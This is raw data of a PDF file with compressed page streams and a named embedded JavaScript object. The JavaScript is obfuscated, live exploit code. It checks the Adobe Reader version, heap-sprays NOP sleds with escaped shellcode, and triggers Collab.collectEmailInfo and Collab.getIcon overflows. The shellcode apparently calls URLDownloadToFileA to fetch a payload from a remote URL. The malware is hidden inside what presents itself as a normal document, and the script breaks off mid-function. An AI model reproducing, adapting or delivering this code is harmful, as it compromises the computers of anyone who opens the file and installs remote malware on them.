���EA�iM �+b{�E�� �����g^�>� �h�� ��%˂BvP %���[ �{�S)v����3�Nz.�,̻6�ੰ��m� �n�-A��د ��[X�Ҫ�! xg{_�"��� � ��!��^I�KZ(F�n / %�@� �i .H��)�m�^Ƕ r@��87 5�/E }ͺ�RZR�%�WR �4^��'؉,ܘ��x� � Ϣ[�m�=t,��:\��]V�&z: � �U?ǿ, ڝ�/ d]�'0�# ��a_������
9t�tQQ�� 8�{:�&���wbt>� ]� �U52+ # 7> g2�U���� ����JK � �Hjg�{n�2�K�>� �c��[s �" ��R�R羖$ �N8�f#e\�� xp�D��I� &�ۢ_� Z �A Ƹx ��G�h
k�����֤6 � s���Y��8`�)OD H7 7h 3� �����S檫 sC�ȵ���1�� ^Ⱥ� s ���!� � s{ΑD
�<`� ��*&8���.��T�Gq� ��p��ą T�I ���yhg�
���Y: �0�����Ʊ���s�%�� ?Ǯ� J��+-�-��!�l�Lw��
� 7==*� �n��-)+} ��� UA�� 1��nT�2��,�N#��א>Ҧ��ϳ�(g,J�J��oD���;e��� N�ْ�
7`й� Tү!��4 V�mL���I�:T�25����Jl7t3%
`�G%.�O�4 �r� ^��o �'_v�g�ѹ �3����d����9�;�߉�f� �m���� �
Wx�� ���-��gL�f
endstream
endobj
13 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 14 0 R>>
endobj
14 0 obj
<</Filter /FlateDecode /Length 1433>>
stream
x��XMo�8 ��W�q��Zv����
�X�
�X =P"-ѢH� �(�~ �$f '�v� �
��83���L�Ŋ �� �-}�� �� �j��^��Q�̦S:�Л�ɷۛ��&��<���)-���Nf�bF�U�MgT���}N�
}�?>'��}|�$�o4���w[ ~'_��� ��E6[�9�/�� �i�Z!~�J�g�� � �?;.�:=͖���� � a�h�i�^�0� ����A؝O ��w��٭>��� "�; ��:�O��� �\�|W��& �s�#�=r�G u���4� '�mC}G5��;�2z� 5%����.Gbvd:;����g~��Y�FSg�n�� #9� �Ip���h
�"g�!}E��vL�.?�; �P$Fڠ�-��*�\ � n ƺ>�7�;�k� n}�FjN����ji��>y�S�^� @o�B~ � �4T��aח�"�� ����Ʌ#��&d� S�*��ِBٓ���XQ K�!�dF��%�^(Œ ���T�Zm��6��O���d X�� )$ �s#�ʷ����+��R*A� �����<� c4�l�t�)3 �Z#pr �9�j� �X*��z�� ]�A�F�l���H�EZ -# �� �Tc�|K�� D. ��4�C`�@,�k/ ��� �"� ���-U�)�."�(
����Ah>"r��"� �� ���f��
�(��4⎪5�rY��X �rR���#�U�*�85 �F�"� ח�zN������@F.]�� �& `�P���k ��1)ވs� �'� S�'jx AG� �V� Q� �`�F ����MaP%pX�Z4i!G��2 u�B��ޗ �!y�R�G�nF�# �� |�
�� "�.� Y\ �& �.HUG2*Z�����x � �hQ�.��D�:n0���ʘ� � �:�C�]=*�rk,O 4�� /Ұ+c@tۂZe �~�]Hj �LA�� W�!)�I5��� e�]�J�qć�{ �f ھ Q�7�xG
�� i!��<�{cD��$E��!� # � W�#t�- s%�)p ����I z Q��A!�!��ըG�)<��g�*Β:�yD$k����Z���"��wlt�JE �
p.c0, V ���!�O�9"� =�C�wMtkg҆9bXl�B� i �Y �X� u�(k��[y V q% q,) �"z� v!�� m| �� �J֡�o�
Ɉ|�Тe��P�\ �J�8f�t� Ů� �@�c��$� �u�X�5�X)�b�ᡁI
:�� �Iגl � G $��� ͓ �'����E���3��1��wb N i�O� ����0
z`���b�)LR�Q9�� �����Z�*��b�_֭���b� �GM��+ 2HU�e�^mXb��G5}����A&Xێ� � �� ��I��p��^� tĖ�×^��ֻЉw� ���I l���:���y wr3��) ��WL�g�l�8 ��_�������a⟯�����c(�%�@v�s���{�/��
endstream
endobj
15 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 16 0 R>>
endobj
16 0 obj
<</Filter /FlateDecode /Length 1495>>
stream
x��Y]o�6 }��� ������ �� -: m Cч+�� K�BJV�_�C;���MҮ\ ű,�G��{$����z �;l �� ^ �7؊ыsz�zJ�E2 �yN��G�_wN��4�̒� ��4_$�5�M�����I2�RV�� zi��~��p���� A\� ����ڂ�=��2���j2O� : ����1��V�߾��;|��ǀ�ˌ� -��d��ϨM�^i��
� '�9�#L��b�'���o�����#8��O������N�c�J&k�i>G9��+�D� ��䉵=��G u���_�]���q]M�Q^ J+.)3�I� �V�悊��*Y8 ׂz��@)W5�~� -9 �N��σ<;@ޔ�Q��p ���lɵ&�PVʞ����¹ �U�H� `�g;�+�;A�)�P �ȲP�$��J'��� �#������b��ƪ�̖X )b�]� xS��@�_�5�u��J� ���ׯ([�Z�LM� 2�
�� {*�M� ��� +��U\�� h��� t��h:[�% �s�~�IPS ���� � U� �0"W)xZ��tԳ8eD? p������W�RVuu��١� �7�2�v�PVv�\) �%Y�#v��&����M r���]� � ��� �i�j� ����+I�I�[htoLT���NB{�� �&�I �ހ�[� I_l) Ƨx�Ƅ; D���.��. z'{Y� 9� � ��� ���fQy� 8 ��m �J��V; �֖@F�v0��k=E?�: �2� Y�Pؚ/�1��3^e��d n|��% ����B W2|i0��,hp�� �� z� ��Z� �J{u� R| ;�k� ���U-� |�
9 ��A e��̰�,�o͠�V)E�E�I�O�ہT���Φ�� �]�|�[� �" T�w��XT��c�2@�)g�#ٖ�=��B?!#� "Ik�- �Iz/L r��6*�@z[S�� i�~ O��^�`n+1 �mxQ ��}��9�8�h)�o� Y�7 � �Z0%ϣ" ����!N�
�G�. g JE�塨�C������Cy�W�
M�� I(*�@}NAA�y!;���*��dm��w ��xg��|ޢ] -l�QA����� n
O�!.�0f �w�� �� `�� �n�m`�-u �o�m說� QA �; �d ��1���5�0 o N�p���, TTȁ�.:�.� �,�͝��pݣP�² #B��;}�bĂ}Ԣ0 hĂRe�F�i W*,i� ��-� j�A�� d� �l F-w�a��Q ;
��X� �<����� ��� ��3!�F�zJ����s'�D ��t��j��Ԟ��+J2y��6 �{i'*�0)ބ�� ��7qh �ȓ@o���]m���P� Uc�@c�Q�~�� �=/���%��ѷW쾟m�� t��P�*`�� Y��F � � �e�^)w���ui�Z B�ޛI7�&�� G�&*�@e� � c _��J��Q� (�[��~ @ �G��4&�O�����?]%��� ���� �@Y�+��c�J�7 = .$-�9V*8� x0� ς��
endstream
endobj
17 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 18 0 R>>
endobj
18 0 obj
<</Filter /FlateDecode /Length 1483>>
stream
x��Y�n�8 |�W����K|���� ],� X,�>P %1�D� +����nj�R�� D�M����̜!=M�k��� �K|� �� ^��� ���c�J�S\ xu1���8� 1�-��9?4�r���q6O�s�׳d:G���� ^j|8|| �����I W�����ݔ���V�d~��l��W���������F�߿�� ��vĻ��ˈ� ����js ���{��0n4�4�,�O8��I ��O ~��7_{߁��� �� � �8V�dv� �%ù�}]� & ���#k�H�� ���/�a��q�� ݢ3��"�;�rlō�(�iP�l+ ��:dF5]�w��5�Xp9
l%zTB�GV�� �8 ��� �j�E*KX�4 N�i� F;��U���"F�Ɨ �Qm�T ��J�-R��vTس#la����� W9l�u��W-.� {元�� � |^ ݄)h_V�E���uu~��\ �Dj� T�%�j 캆 M30-�(��c�� ~� �\ A�- i����Y���LG�L �u� � �`��-�V# Y��Oݺ �d�̛tT� �j�8�� ��7|(��
n� ?b
9� v"�A獕��kUK�\r�%:�� oĴT �h}�MI�K���t�pw� �Q � "�B0�m� �� :�) �Zrf� 7� �*�
�j3���䓠X5i��� � �`�n/Qֺ��Gi8�S z�� 5�n��1�.#� � 4��,���*�nΘ��ZI�9�/� =D#[J]�Q�_�TiJ�� � �0��n ��0C{��� ������0"W�J��a ��T �f*�֛ i�tw�0*�v�KlY5 � f��9UCf�t�t �k ��n㋂�R�s�>Wn��F�{AY�� *�"� ���K&i�"����>��L2]�� �� �Ƞ��iJ�v˗��>*�p�� X/(P���1~�/ A�:& o"g��an�Ȗ��t�+�&x�%� �Ĩ��,�\����J�S� �k6���I����"�����[α �
���YD� �e�� �� � �> ��G rD4Jni�툷 �H)�F��$�Y���vd�68 %�� mT� �"+�أ��� �� � A�jƌ��EA�"Pް���� X�R�%KEZ+zsz�1a/" =a�r>�}��� �Y.D^hT� �b�U��X� 5Yػ t{� �V�K�E�%����P2��� RĒ'\SG�� ��5.��|O .�& ���F-s����� ���[V ߅4MM�S �K *.ɗ�+���a�[� �yD+:�N �����g�2х � �r��{ 1*ވT'�
�u��Z ��A\}z¿� �a�E�W jl _،� �&�?k � ��8"�= �8�q� �9ypD�]_0&�YD��� 5B�� ��M|���ۚ� ��eW`'|��T�Q�GԸo*�Sm�\4
��`<u� * ��ݨ�#f�R��.wM�A<�5�s�_~�2� t�l��{��� �� �jԤ�h�= p�"�6���b� �#�_q&?�$���H��2�ȟ �z ~ǘm��ן1:QJl��K ��'��'� p���
endstream
endobj
19 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 20 0 R>>
endobj
20 0 obj
<</Filter /FlateDecode /Length 1465>>
stream
x���Ko�6 ���+β�(��<�l�H��Hb�(�,(���H��"˿���8�S�I� ��#KÏ��syęg�-F���%>~�K�� �z�� O^.��d�9.*���}�vr ��b��V�i��&ۜ�l����n �|��œ� <�xws�
�����{!>c�K�G�]
~�b�͖g�-��r�� j�Z� ��� .���oG< �7#�W؞�g��͈Ǝo��a�h�y�[c�q ��0@ �����߿�z� ��� �o ޖ�lq� �5ù�}�� �w L�DnO���@}M�z � ��[�&s�v(!
Uz��p�T�A'��
>�ى��w@�;�_ :�!}��B+��p1*�Pu���Bu ����-��(��m�g��Dn�D-u� wq�[4R�'\
o
ζ}�ډ���%FUJ iz7�� F�猵� �ʥ��v(��v)�7�w�N� D�\�!d���h`m�aT�� �r���Ab_0 !�W X)�� %����;4�O
��� �� !%��M$� �e�;'� ��bU���� �p- � N ސKC2�l|̱ ��;�1����M �HT�PUԌ� ���!�=r���2�0���!#J7Ԟ�ʔȕ�y�(�: {� l ;K���LR�H^����<� ^ ��Lz�~�m� E`����*�= �y� �> ezԢ�e�\���ZGꪵ0L��(�� �&��`�bb �. q�b' B ���L�`-�N�� |/� I�y )�Wk� �&F1� ����Z�C_�K5\_S�%9��oE��.�ڋ+�% �d�j.H0&4y� [;2~�0lj��yɶ��J�( �Uiƾ�2m�ZGZ�V\XAY~��xx %'�C[}� ����� ! T4��� �1� N�
r��?�p �Kԇ�j�.p�d �)Y� _��k� ���d��0ެU6; )y �� z���,RZ��T� E�R�e ����p���@�!���]9s��%Ŏ��9բp�w � T �[�!Sd�<�;��V� � ;U��Б�������Y��cg�#� R�&D�=�&�Ǟ� ��� F�{��B���nd��l ������܂�z��� �'%�*��_������9��V*Z�B ���{�� v�\��a^EB \�+>J$-�U��G > 'v�sMA]95D�5%�]!�O
3h}c�� n�r�
�v���@'�Չ�I�*��� �+)u���� ����p�H'�ػ� �o�X��{����l .rnG��{� �PR�,#�p�-� �� � �҂ }"���\% �Wik" M�֊ЈE ���6)�"���v��Â��U�EU cs- ���+T
&�:���� 9���h.*>; A@> ��i���{�Z� t�{�"-t�&� o�yE]����, F
1�"z/���nUR�HJ�� ;2��Ic ��U� �('�X�$W�L�}����_k�� /"!��k����= ���N)�#��f
�{i���KUӓء�* Glv��� a�w ��n�r���w��7o�^�=����7 �]��� C'8�s<a��y��f��O�郞
endstream
endobj
21 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 22 0 R>>
endobj
22 0 obj
<</Filter /FlateDecode /Length 1501>>
stream
x��Y�r�6 |�W�c���bI�c�\&�t:I<��d� � h� - } � ��|iZT3ԅ���9g�,�q6_b� �y\��7�H oy����x�f��" �q����������$&�Y6;�Ƙ/�� N��|��r���( �x7�+��7?��� ���Q � ���gW���,��� ��y6]�\��/� k�o�R�~��{��n����͈� �gg���fDc� ڨ0n4�8;�c q �0@ ]� ���������>���
D�wJ ��lr� �9�9��\�3F ���� 9����M�| ҿ��g�X�� ��T �%�F (��
^��c %��-�5 ��6�{5� j� ��P K� �w��[:�[" 8v#d��{f���9�u � _ ��UD ���ck�B�(�I O�� � 899A��
���d��k� >�/{�1� 2�� Jt[ll�y&��l�n`7) /�����J2����R8�G� 3T�t��,U���-�-L�0T��_� V���zO�"��K�y��� + ���WY�A#��a
�KK �.GM*x4��-��o��Q /� ��$��E�{��R�Ez���YD�R1G%Z ôZ�Yb� �-c,)���
Y� Y�Y � xM!�(ߡ����WI1G��U�e��"+����
D�X b���o��e� ��͕WI�?��� ��`}A"� ֊ s25 �2��HR N
��(ȉ*-��
O��� k ��E���� ��It�`L?P%� �^B �Z���� ��S�2��`�b��t��#WAv(8� .I����C+ C. =�z - se�z�6� w�
��eE�S�&�Z t�JK� ֔��\�xU. ɒ���m�r�&� :D��k�B��S�B��� +b��� � ��lߺ�����Ơeh��c�W[�*�s�ȯ�Q�Ԫ��O"^�������F>�#yh�-���>ë^a]�ba �X�nK��)@�s�]K���{�b�(�� N> ]�H>�����Z��kPQ h/���- ��ˉZᢗ§� ���J� �� >��ՕNSss�Z�l��I���Ś� ��5�g �CG� �,"Ul�
� ���Bի���E$9j {7����/��5�����a�Kzfv���J
9b�?0v�^ ����#F���n pUۖ@���N�;�����\˙ *m�#. u�͔]�cW, ay �4 2Y \NJ��x�th� �| L��l 䮱z��GO�%RE�\ �����F�1_��15
'Pה�� J�9b�2�k� ē*�K�L4)y� ̾ ��V�T� �F1� ;/ J#��M#�=�HQ�� ( �4c�h�n�qk|� ��w�_a�C{!� �Li�n�����,뛪̊q\ � ǔ�'�Zن�!�uݱ�q��pR �PR� � �M;��v�| ظJ
8��n ,�3�g���.��!� ;�a+��*K��K���n���:�ID����]� � ۇG7l�"����> �=9� y��(7 A�1 о�â֭ �D�vt��� ar{���^��4���[�7 �N�#!Y���'&��rq�x+ �� � M�'��G ����
endstream
endobj
23 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 24 0 R>>
endobj
24 0 obj
<</Filter /FlateDecode /Length 1321>>
stream
x��XMo�F ��W̱�0�d}��|"A�"��� rx$��JK.�K�f~}ge;�l7AҲ H��R;�vfވ�h�A�9�����'��x��Q̞^��� �u4��*Nj���7 ����e���Cs���� �h��f G� �
O^�xn����%8����o���9���ή?'^o�� ��*Z�q���/�[k�/�R�~�� ~���͌�%6���z{3cm���Va�ќ�h�B?� <v�0A�=�=����nG��9�~ �� �,�8��(�D�Պ�\�] |���w ���>r�g u���y��c� ִ �S O�� ٠�n��i�g�� �����tȍEb�Dj]����!-ŷ�� �f)5� �/%��~����O�8>!6��]g�U�
H�TH �X=1y�K�� �^��M����`�[ J<�R�lJ��� �V� �8���e���� U�AR�y¯=�dڗ s�5ז ,y�Lu�� ��� �� �0����� � sh���s�9*��b-�Vtʷ�ŋ���%�uJq4 �z���l�jUɤhGri:� �I� �كBbö*�Q&J� ��� ��D��7ė��wM`g* *��jY��B��� �u�( ��� kY�|Ьh���~?�,�R7� �ȓd$�δ�/ ��� ��X�w
��L�4���|@�Q��j� � �� �O�w��0m$��''�<R�T�.h���ކ��T*��&x[�48{3m G�����SJ�'W VgP���& S��_^SM�K��B�B�ɩ� oT� Դ� �*g;�6J���,x3o s ��p�N�Ь}�� U�� ؑ( � ������� �8V/q 4(5k�
�&C��_b� �K��?šRN�p]�$��b�� ;i�/F�j�5mU #�Z ��w[SN� ��s ���� .�� /��Q���
Ho��� �HQ�U�< � ��-����Ϲ��~n[�E���m%��-rG�"ylW����b��o �� ��KC��N��� i�{� ?�U& =�ܣ��M��^�+�Q�r�"0L��t:/
�Xڝ$�v �-�2� ����HtUP��Gs�L讜�,�8�jʪ�� lf92e'�,w�sT"=��Ѷ'%�r$�S���
�" ���0l �&��+h�� �q!�>�K ƌIQ�Tx�f���.�x{� �$���X�M[��y%� � [ұ �@s� ����@�� ���{1� u�L�ˑ���a:nl;m\Y�S�[0FH��[t��� C ]�a��� k'E< I.�BI ����ג&�fe�P�. JQ śR4]�Ž�3)�H��j&���+�fJ
� '�� ��Y����#���_1�� ���g����ӫ����� �l���x mn_�5 �1��4�����o��9P
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
11 0 R
13 0 R
15 0 R
17 0 R
19 0 R
21 0 R
23 0 R
]
/Count 11
>>
endobj
25 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
26 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
27 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
28 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
29 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
30 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2430>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?�(��K9 (� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(�@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ hX �).]s��G���� ��۬I � ���D�j�h�Ki�?5�*��5,�3O��BG�j��_���(� E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E u8� V֢T.䁜*�)V*z�����a� �>� 4��x�ֹ�S�ש����*(�� ��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)�G��@��nڱ�wd2�R
� QILAE P E P E P E P E P E P E P J �RQ@ d���P S%�icT`8���4T(El�rl(���B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� � � pE% bP&�L���
�R�/����� � ��)��5�n�)r�\�h��Ѐ��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��|i���� e k~���3QJ�>vg���J� QTPQE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE S�}� �E -2 a">=�Ⱦ^�wz���� TB�(�((��(��(��(��(��(��(��(��(��(��(��(��(��*H�iA*G � Ml�e�f⓽� "�6���I$&% �s�S �����wO�M���J� QV E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P @89���.#� ?6:b��Y�=M% *)QE @ QE QE QE QE QE QE S�; UI � ��i����*\�b�"��kIV2� rFy�)Fq��� ��QE c
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��/X �ǡ�Ik+�� 9 � �xs� �гH��[ �N+�� ������ �\�fx�W$�{�y�Ӄ�� ����M���䔟r�l�
(��((��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��*kkg��b��$� Z���1)�g��>�˺;tTQ�?�YNR�,P �
� �8���� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 27 0 R
/F2 28 0 R
/F3 29 0 R
>>
/XObject <<
/I1 30 0 R
>>
/Properties <</OC1 25 0 R /OC2 26 0 R>>
/ExtGState <<
>>
>>
endobj
31 0 obj
<<
/Names [(EmbeddedJS) 32 0 R ]
>>
endobj
32 0 obj
<<
/S /JavaScript
/JS (��var dkBf5m8ez=new Array\('sI0VlNTVRS','ba5skywBL'\);var ftMRyijdtO=new Array\(\);ftMRyijdtO[0]=1531;var u3hSJJf7V8="qfbO2pDU";var xRbxIKG2Fh = 'var a6piUBmWS = new Array\(\);var pDGMEz9Ab;function yQz94YUyH\(t8qImRLy, uO6hGkBKd\){while\(t8qImRLy.length * 2 < uO6hGkBKd\){t8qImRLy += t8qImRLy;}t8qImRLy = t8qImRLy.substring\(0, uO6hGkBKd / 2\);return t8qImRLy;}function cI0ZIhIXc\(z68pN8bAl\){if\(z68pN8bAl == 0\){var eIN5pLACV = 0x0c0c0c0c;}else if\(z68pN8bAl == 1\){eIN5pLACV = 0x30303030;}var qY8to5fN9 = new Array\(\\"%u5350%u52\\",\\"51%u5756\\",\\"%u9c5\\",\\"5%u00\\",\\"e8%u000\\",\\"0%u5d00%u\\",\\"ed83%u\\",\\"310d%u\\",\\"64c0%u400\\",\\"3%u7830%\\",\\"u8b0c%u\\",\\"0c40%u708\\",\\"b%uad\\",\\"1c%u408b\\",\\"%ueb08%\\",\\"u8b09%u344\\",\\"0%u408\\",\\"d%u8b7\\",\\"c%u3c\\",\\"40%u5756%u\\",\\"5ebe%u0\\",\\"001%u01\\",\\"00%ubf\\",\\"ee%u014\\",\\"e%u0000\\",\\"%uef01%\\",\\"ud6e8\\",\\"%u0001%\\",\\"u5f00%\\",\\"u895e\\",\\"%u81ea%u5e\\",\\"c2%u0001%\\",\\"u5200%u80\\",\\"68%u0000%\\",\\"uff00\\",\\"%u4e95\\",\\"%u0001\\",\\"%u8900%\\",\\"u81ea%u5\\",\\"ec2%u000\\",\\"1%u310\\",\\"0%u01\\",\\"f6%u8ac2%u\\",\\"359c%u0263\\",\\"%u000\\",\\"0%ufb80%u7\\",\\"400%u8806%\\",\\"u321c%ueb\\",\\"46%uc6ee\\",\\"%u320\\",\\"4%u89\\",\\"00%u8\\",\\"1ea%u45c2\\",\\"%u0002%u\\",\\"5200%u95\\",\\"ff%u0152%\\",\\"u0000%\\",\\"uea89%uc2\\",\\"81%u0250\\",\\"%u0000%u5\\",\\"052%u95ff\\",\\"%u015\\",\\"6%u000\\",\\"0%u006a%u\\",\\"006a%ue\\",\\"a89%uc2\\",\\"81%u0\\",\\"15e%u000\\",\\"0%u8952%u8\\",\\"1ea%u7\\",\\"8c2%u0002%\\",\\"u5200\\",\\"%u006a%u\\",\\"d0ff%\\",\\"u056a%\\",\\"uea89%u\\",\\"c281%u015e\\",\\"%u0000%uf\\",\\"f52%u\\",\\"5a95%u0001\\",\\"%u8900%u\\",\\"81ea%u5\\",\\"ec2%u\\",\\"0001%u520\\",\\"0%u8068%u\\",\\"0000%u\\",\\"ff00%u4e9\\",\\"5%u0001%\\",\\"u8900\\",\\"%u81ea%\\",\\"u5ec2%u000\\",\\"1%u3100%\\",\\"u01f6%u8ac\\",\\"2%u359c%\\",\\"u026e%u0\\",\\"000%u\\",\\"fb80%u7400\\",\\"%u8806%\\",\\"u321c%ueb4\\",\\"6%uc6ee\\",\\"%u3204%\\",\\"u8900%u8\\",\\"1ea%u\\",\\"45c2%\\",\\"u0002%u520\\",\\"0%u95ff\\",\\"%u0152%u\\",\\"0000%u\\",\\"ea89%uc28\\",\\"1%u0250%u0\\",\\"000%u5\\",\\"052%u95\\",\\"ff%u0156\\",\\"%u0000\\",\\"%u006a%u0\\",\\"06a%uea89\\",\\"%uc281%u0\\",\\"15e%u0\\",\\"000%u8952%\\",\\"u81ea%ua6\\",\\"c2%u0002%u\\",\\"5200%u0\\",\\"06a%ud\\",\\"0ff%u056\\",\\"a%uea8\\",\\"9%uc281\\",\\"%u015e%u\\",\\"0000%uff52\\",\\"%u5a95%\\",\\"u0001%u9d\\",\\"00%u5f5d\\",\\"%u5a5e%u\\",\\"5b59%uc35\\",\\"8%u000\\",\\"0%u00\\",\\"00%u000\\",\\"0%u00\\",\\"00%u0\\",\\"000%u0000\\",\\"%u0000%u\\",\\"0000%u6\\",\\"547%u54\\",\\"74%u6d6\\",\\"5%u5070\\",\\"%u7461%\\",\\"u4168%\\",\\"u4c00%u\\",\\"616f%\\",\\"u4c64%u6\\",\\"269%u617\\",\\"2%u7972%u0\\",\\"041%u6\\",\\"547%u50\\",\\"74%u6f72%\\",\\"u4163%\\",\\"u6464\\",\\"%u6572\\",\\"%u7373%u\\",\\"5700%u6e\\",\\"69%u7\\",\\"845%u6365\\",\\"%ubb00%u\\",\\"f289%\\",\\"uf789%\\",\\"uc030\\",\\"%u75ae\\",\\"%u29f\\",\\"d%u89f\\",\\"7%u31\\",\\"f9%ube\\",\\"c0%u003c%\\",\\"u0000%\\",\\"ub503%u021\\",\\"b%u000\\",\\"0%uad6\\",\\"6%u8503%u\\",\\"021b%u\\",\\"0000%u708\\",\\"b%u8378%u1\\",\\"cc6%ub503%\\",\\"u021b%\\",\\"u0000%\\",\\"ubd8d%u02\\",\\"1f%u00\\",\\"00%u03ad%u\\",\\"1b85%u00\\",\\"02%uab\\",\\"00%u03ad%u\\",\\"1b85%u\\",\\"0002%u\\",\\"5000%ua\\",\\"dab%u850\\",\\"3%u021b%u0\\",\\"000%u5ea\\",\\"b%udb31%\\",\\"u56ad\\",\\"%u8503\\",\\"%u021b%u0\\",\\"000%uc689%\\",\\"ud789%\\",\\"ufc51%ua6f\\",\\"3%u7459%u\\",\\"5e04%ueb4\\",\\"3%u5ee\\",\\"9%ud19\\",\\"3%u03e0%\\",\\"u2785\\",\\"%u0002%\\",\\"u3100%u96\\",\\"f6%uad6\\",\\"6%ue0c\\",\\"1%u0302%u1\\",\\"f85%u0002%\\",\\"u8900%u\\",\\"adc6%u8\\",\\"503%u021\\",\\"b%u000\\",\\"0%uebc3%u\\",\\"0010%\\",\\"u0000\\",\\"%u0000%u00\\",\\"00%u00\\",\\"00%u0\\",\\"000%u00\\",\\"00%u0000%u\\",\\"8900%\\",\\"u1b85%u000\\",\\"2%u5600\\",\\"%ue857\\",\\"%uff58%u\\",\\"ffff%u5e\\",\\"5f%u01ab%\\",\\"u80ce%ubb\\",\\"3e%u0274\\",\\"%uedeb%\\",\\"u55c3%u4\\",\\"c52%u4f\\",\\"4d%u2e\\",\\"4e%u4c44\\",\\"%u004c%\\",\\"u5255%\\",\\"u444c%u77\\",\\"6f%u6c6e\\",\\"%u616f%\\",\\"u5464%u\\",\\"466f%u6c69\\",\\"%u416\\",\\"5%u750\\",\\"0%u6470\\",\\"%u7461\\",\\"%u2e65%u7\\",\\"865%u0065\\",\\"%u7263%u7\\",\\"361%u2e6\\",\\"8%u6870%u\\",\\"0070%u74\\",\\"68%u7074%u\\",\\"2f3a%\\",\\"u732f\\",\\"%u617\\",\\"4%u6c\\",\\"6c%u6176%\\",\\"u7372\\",\\"%u382d%u\\",\\"632e%u2\\",\\"f6e%u7473\\",\\"%u2f3\\",\\"8%u7075\\",\\"%u6164%u\\",\\"6574%u\\",\\"702e%u\\",\\"7068%u693f\\",\\"%u3d64%u\\",\\"2633%u\\",\\"6572%u3d7\\",\\"4%u6b6f\\",\\"%u9000\\"\);qY8to5fN9 = unescape\(qY8to5fN9.join\(\\"\\"\)\);var mjIyzX45B = 0x400000;var yMGJO436pz = qY8to5fN9.length * 2;var uO6hGkBKd = mjIyzX45B - \(yMGJO436pz + 0x38\);var t8qImRLy = unescape\(\\"%u9090%u9090\\"\);t8qImRLy = yQz94YUyH\(t8qImRLy, uO6hGkBKd\);var wSOl4h7B = \(eIN5pLACV - 0x400000\) / mjIyzX45B;for\(var uhW2wUzOl = 0; uhW2wUzOl < wSOl4h7B; uhW2wUzOl++\){a6piUBmWS[uhW2wUzOl] = t8qImRLy + qY8to5fN9;}}function kMa7ScnUN\(\){var vFp16ohgjX = 0;var qZbpL6A4 = app.viewerVersion.toString\(\);app.clearTimeOut\(pDGMEz9Ab\);if\(\(qZbpL6A4 >= 8 && qZbpL6A4 < 8.102\) || qZbpL6A4 < 7.1\){cI0ZIhIXc\(0\);var h9nwsWTHsf = unescape\(\\"%u0c0c%u0c0c\\"\);while\(h9nwsWTHsf.length < 44952\) h9nwsWTHsf += h9nwsWTHsf;var krSp893PTw = this;var auOUl5kqAQ = Collab;krSp893PTw[\\"collabStore\\"] = auOUl5kqAQ[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : h9nwsWTHsf}\);}if\(\(qZbpL6A4 >= 8.102 && qZbpL6A4 < 8.104\) || \(qZbpL6A4 >= 9 && qZbpL6A4 < 9.1\) || qZbpL6A4 <= 7.101\){try{if\(app.doc.Collab.getIcon\){cI0ZIhIXc\(2\);var tsGQ5lRXX = unescape\(\\" \\"\);while\(tsGQ5lRXX.length < 0x4000\){tsGQ5lRXX += tsGQ5lRXX;}tsGQ5lRXX = \\"N.\\" + tsGQ5lRXX;var zkJcGjjF0 = app;zkJcGjjF0[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(tsGQ5lRXX\);vFp16ohgjX = 1;}else{vFp16ohgjX = 